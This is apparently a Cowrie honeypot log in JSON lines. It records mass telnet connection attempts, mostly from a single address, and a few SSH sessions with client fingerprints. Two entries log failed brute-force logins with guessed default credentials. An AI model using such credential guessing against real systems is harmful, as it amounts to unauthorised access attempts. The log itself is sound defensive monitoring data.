{"eventid":"cowrie.session.closed","duration":30.782625675201416,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:12.065026Z","src_ip":"207.244.226.215","session":"d1e50f3a3c3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59206,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a3521b3c62a","protocol":"telnet","message":"New connection: 207.244.226.215:59206 (159.203.135.109:23) [session: 3a3521b3c62a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:12.161668Z"}
{"eventid":"cowrie.session.closed","duration":30.488779544830322,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:14.403043Z","src_ip":"207.244.226.215","session":"05a557807cf6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":39464,"dst_ip":"159.203.135.109","dst_port":23,"session":"891da742b11e","protocol":"telnet","message":"New connection: 207.244.226.215:39464 (159.203.135.109:23) [session: 891da742b11e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:17.085096Z"}
{"eventid":"cowrie.session.closed","duration":31.473551034927368,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:17.504752Z","src_ip":"207.244.226.215","session":"7d76c9ea3b89","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41362,"dst_ip":"159.203.135.109","dst_port":23,"session":"3a533092e423","protocol":"telnet","message":"New connection: 207.244.226.215:41362 (159.203.135.109:23) [session: 3a533092e423]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:18.184776Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":38372,"dst_ip":"159.203.135.109","dst_port":23,"session":"1767db75354b","protocol":"telnet","message":"New connection: 207.244.226.215:38372 (159.203.135.109:23) [session: 1767db75354b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:19.474725Z"}
{"eventid":"cowrie.session.closed","duration":34.51773715019226,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:21.839248Z","src_ip":"207.244.226.215","session":"06bbc8ef28f3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.38031554222107,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:23.114890Z","src_ip":"207.244.226.215","session":"7c272752e7ac","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.01761245727539,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:23.640189Z","src_ip":"207.244.226.215","session":"2ef21c90de3b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.398475646972656,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:24.036851Z","src_ip":"207.244.226.215","session":"20cbbb4162b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74683117866516,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:24.074655Z","src_ip":"207.244.226.215","session":"5332a3eb0414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51820,"dst_ip":"159.203.135.109","dst_port":23,"session":"73c2a9954a9f","protocol":"telnet","message":"New connection: 207.244.226.215:51820 (159.203.135.109:23) [session: 73c2a9954a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:25.018653Z"}
{"eventid":"cowrie.session.connect","src_ip":"106.222.249.89","src_port":16882,"dst_ip":"159.203.135.109","dst_port":23,"session":"5b55c605c882","protocol":"telnet","message":"New connection: 106.222.249.89:16882 (159.203.135.109:23) [session: 5b55c605c882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:25.645609Z"}
{"eventid":"cowrie.session.closed","duration":30.090265035629272,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:26.032485Z","src_ip":"207.244.226.215","session":"c262a426d9fe","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53744,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3552fb38087","protocol":"telnet","message":"New connection: 207.244.226.215:53744 (159.203.135.109:23) [session: b3552fb38087]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:26.324446Z"}
{"eventid":"cowrie.session.closed","duration":31.11127471923828,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:27.125386Z","src_ip":"207.244.226.215","session":"ff95c9722da5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54880,"dst_ip":"159.203.135.109","dst_port":23,"session":"30ee20955c7c","protocol":"telnet","message":"New connection: 207.244.226.215:54880 (159.203.135.109:23) [session: 30ee20955c7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:27.166710Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.68.171.173","src_port":55656,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ed97ca8bd33","protocol":"telnet","message":"New connection: 200.68.171.173:55656 (10.17.0.5:23) [session: 7ed97ca8bd33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:29.590533Z"}
{"eventid":"cowrie.session.closed","duration":31.013026237487793,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:29.860326Z","src_ip":"207.244.226.215","session":"ad99c10755ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58882,"dst_ip":"159.203.135.109","dst_port":23,"session":"22675f8cd61d","protocol":"telnet","message":"New connection: 207.244.226.215:58882 (159.203.135.109:23) [session: 22675f8cd61d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:30.090000Z"}
{"eventid":"cowrie.session.closed","duration":30.985419988632202,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:31.024204Z","src_ip":"207.244.226.215","session":"0caed950b737","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.781049489974976,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:31.045349Z","src_ip":"207.244.226.215","session":"fdf04b9eb3ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.533130884170532,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:32.073094Z","src_ip":"207.244.226.215","session":"cef8b273d899","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":60638,"dst_ip":"159.203.135.109","dst_port":23,"session":"f37e12d664f2","protocol":"telnet","message":"New connection: 207.244.226.215:60638 (159.203.135.109:23) [session: f37e12d664f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:32.456898Z"}
{"eventid":"cowrie.session.closed","duration":31.351154804229736,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:32.757754Z","src_ip":"207.244.226.215","session":"b2bffa518f5d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":36250,"dst_ip":"159.203.135.109","dst_port":23,"session":"b0e5fd899056","protocol":"telnet","message":"New connection: 207.244.226.215:36250 (159.203.135.109:23) [session: b0e5fd899056]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:35.221497Z"}
{"eventid":"cowrie.session.closed","duration":11.73595118522644,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:37.381442Z","src_ip":"106.222.249.89","session":"5b55c605c882","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":12.748587369918823,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:42.338975Z","src_ip":"200.68.171.173","session":"7ed97ca8bd33","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":49230,"dst_ip":"159.203.135.109","dst_port":23,"session":"ad3a99a96405","protocol":"telnet","message":"New connection: 207.244.226.215:49230 (159.203.135.109:23) [session: ad3a99a96405]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:42.871648Z"}
{"eventid":"cowrie.session.closed","duration":31.07973551750183,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:43.241274Z","src_ip":"207.244.226.215","session":"3a3521b3c62a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.205.57.72","src_port":51410,"dst_ip":"10.17.0.5","dst_port":22,"session":"b6b26f2ea5f9","protocol":"ssh","message":"New connection: 92.205.57.72:51410 (10.17.0.5:22) [session: b6b26f2ea5f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:46.481080Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:46.485759Z","src_ip":"92.205.57.72","session":"b6b26f2ea5f9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:46.577281Z","src_ip":"92.205.57.72","session":"b6b26f2ea5f9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"1234567890","message":"login attempt [git/1234567890] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:46.976174Z","src_ip":"92.205.57.72","session":"b6b26f2ea5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.985483169555664,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:48.070443Z","src_ip":"207.244.226.215","session":"891da742b11e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:48.078089Z","src_ip":"92.205.57.72","session":"b6b26f2ea5f9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.13462233543396,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:49.319274Z","src_ip":"207.244.226.215","session":"3a533092e423","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":58842,"dst_ip":"159.203.135.109","dst_port":23,"session":"a080f76cf68a","protocol":"telnet","message":"New connection: 207.244.226.215:58842 (159.203.135.109:23) [session: a080f76cf68a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:49.406824Z"}
{"eventid":"cowrie.session.closed","duration":30.966721296310425,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:50.441256Z","src_ip":"207.244.226.215","session":"1767db75354b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":41678,"dst_ip":"159.203.135.109","dst_port":23,"session":"d7245fe2050d","protocol":"telnet","message":"New connection: 207.244.226.215:41678 (159.203.135.109:23) [session: d7245fe2050d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:56.386688Z"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":39070,"dst_ip":"159.203.135.109","dst_port":22,"session":"282735191781","protocol":"ssh","message":"New connection: 200.118.150.20:39070 (159.203.135.109:22) [session: 282735191781]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:56.570296Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:56.575264Z","src_ip":"200.118.150.20","session":"282735191781","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:56.663910Z","src_ip":"200.118.150.20","session":"282735191781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.888907194137573,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:56.907397Z","src_ip":"207.244.226.215","session":"73c2a9954a9f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test0","password":"test0","message":"login attempt [test0/test0] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:57.047167Z","src_ip":"200.118.150.20","session":"282735191781","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.76593565940857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:57.090281Z","src_ip":"207.244.226.215","session":"b3552fb38087","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":42974,"dst_ip":"159.203.135.109","dst_port":23,"session":"858b676767c6","protocol":"telnet","message":"New connection: 207.244.226.215:42974 (159.203.135.109:23) [session: 858b676767c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:57.263038Z"}
{"eventid":"cowrie.session.closed","duration":30.852281093597412,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:58.018897Z","src_ip":"207.244.226.215","session":"30ee20955c7c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:58.140881Z","src_ip":"200.118.150.20","session":"282735191781","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":45074,"dst_ip":"159.203.135.109","dst_port":23,"session":"0f3484cd0e74","protocol":"telnet","message":"New connection: 207.244.226.215:45074 (159.203.135.109:23) [session: 0f3484cd0e74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:58.559297Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46900,"dst_ip":"159.203.135.109","dst_port":23,"session":"de780577ef7e","protocol":"telnet","message":"New connection: 207.244.226.215:46900 (159.203.135.109:23) [session: de780577ef7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:34:59.719268Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":48630,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3db6bf65e5f","protocol":"telnet","message":"New connection: 207.244.226.215:48630 (159.203.135.109:23) [session: b3db6bf65e5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:00.973171Z"}
{"eventid":"cowrie.session.closed","duration":31.06585144996643,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:01.155710Z","src_ip":"207.244.226.215","session":"22675f8cd61d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.555766105651855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:03.012563Z","src_ip":"207.244.226.215","session":"f37e12d664f2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":51890,"dst_ip":"159.203.135.109","dst_port":23,"session":"654897e56cda","protocol":"telnet","message":"New connection: 207.244.226.215:51890 (159.203.135.109:23) [session: 654897e56cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:03.312476Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":54828,"dst_ip":"159.203.135.109","dst_port":23,"session":"ff51fd1a2c48","protocol":"telnet","message":"New connection: 207.244.226.215:54828 (159.203.135.109:23) [session: ff51fd1a2c48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:05.334098Z"}
{"eventid":"cowrie.session.closed","duration":31.410866498947144,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:06.632257Z","src_ip":"207.244.226.215","session":"b0e5fd899056","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":34034,"dst_ip":"159.203.135.109","dst_port":23,"session":"79b91c1aa075","protocol":"telnet","message":"New connection: 207.244.226.215:34034 (159.203.135.109:23) [session: 79b91c1aa075]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:10.364556Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":35396,"dst_ip":"159.203.135.109","dst_port":23,"session":"fd78d00da654","protocol":"telnet","message":"New connection: 207.244.226.215:35396 (159.203.135.109:23) [session: fd78d00da654]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:11.240402Z"}
{"eventid":"cowrie.session.closed","duration":30.153711557388306,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:13.025113Z","src_ip":"207.244.226.215","session":"ad3a99a96405","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":40158,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ad0aa6e4655","protocol":"telnet","message":"New connection: 207.244.226.215:40158 (159.203.135.109:23) [session: 1ad0aa6e4655]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:14.246831Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":46656,"dst_ip":"159.203.135.109","dst_port":23,"session":"4767d7199e4c","protocol":"telnet","message":"New connection: 207.244.226.215:46656 (159.203.135.109:23) [session: 4767d7199e4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:18.340311Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":47038,"dst_ip":"159.203.135.109","dst_port":23,"session":"430f1828b17d","protocol":"telnet","message":"New connection: 207.244.226.215:47038 (159.203.135.109:23) [session: 430f1828b17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:18.602262Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":49020,"dst_ip":"159.203.135.109","dst_port":23,"session":"f45b2e605209","protocol":"telnet","message":"New connection: 207.244.226.215:49020 (159.203.135.109:23) [session: f45b2e605209]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:19.973235Z"}
{"eventid":"cowrie.session.closed","duration":30.605148553848267,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:20.011862Z","src_ip":"207.244.226.215","session":"a080f76cf68a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":53648,"dst_ip":"159.203.135.109","dst_port":23,"session":"87d9b3048f4e","protocol":"telnet","message":"New connection: 207.244.226.215:53648 (159.203.135.109:23) [session: 87d9b3048f4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:22.601468Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":59002,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b469efc6b17","protocol":"telnet","message":"New connection: 207.244.226.215:59002 (159.203.135.109:23) [session: 0b469efc6b17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:26.063942Z"}
{"eventid":"cowrie.session.connect","src_ip":"207.244.226.215","src_port":60594,"dst_ip":"159.203.135.109","dst_port":23,"session":"2462c4ed460c","protocol":"telnet","message":"New connection: 207.244.226.215:60594 (159.203.135.109:23) [session: 2462c4ed460c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:27.012949Z"}
{"eventid":"cowrie.session.closed","duration":30.786107778549194,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:27.172703Z","src_ip":"207.244.226.215","session":"d7245fe2050d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.171301126480103,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:28.434207Z","src_ip":"207.244.226.215","session":"858b676767c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.466469764709473,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T14:35:29.025634Z","src_ip":"207.244.226.215","session":"0f3484cd0e74","protocol":"telnet"}
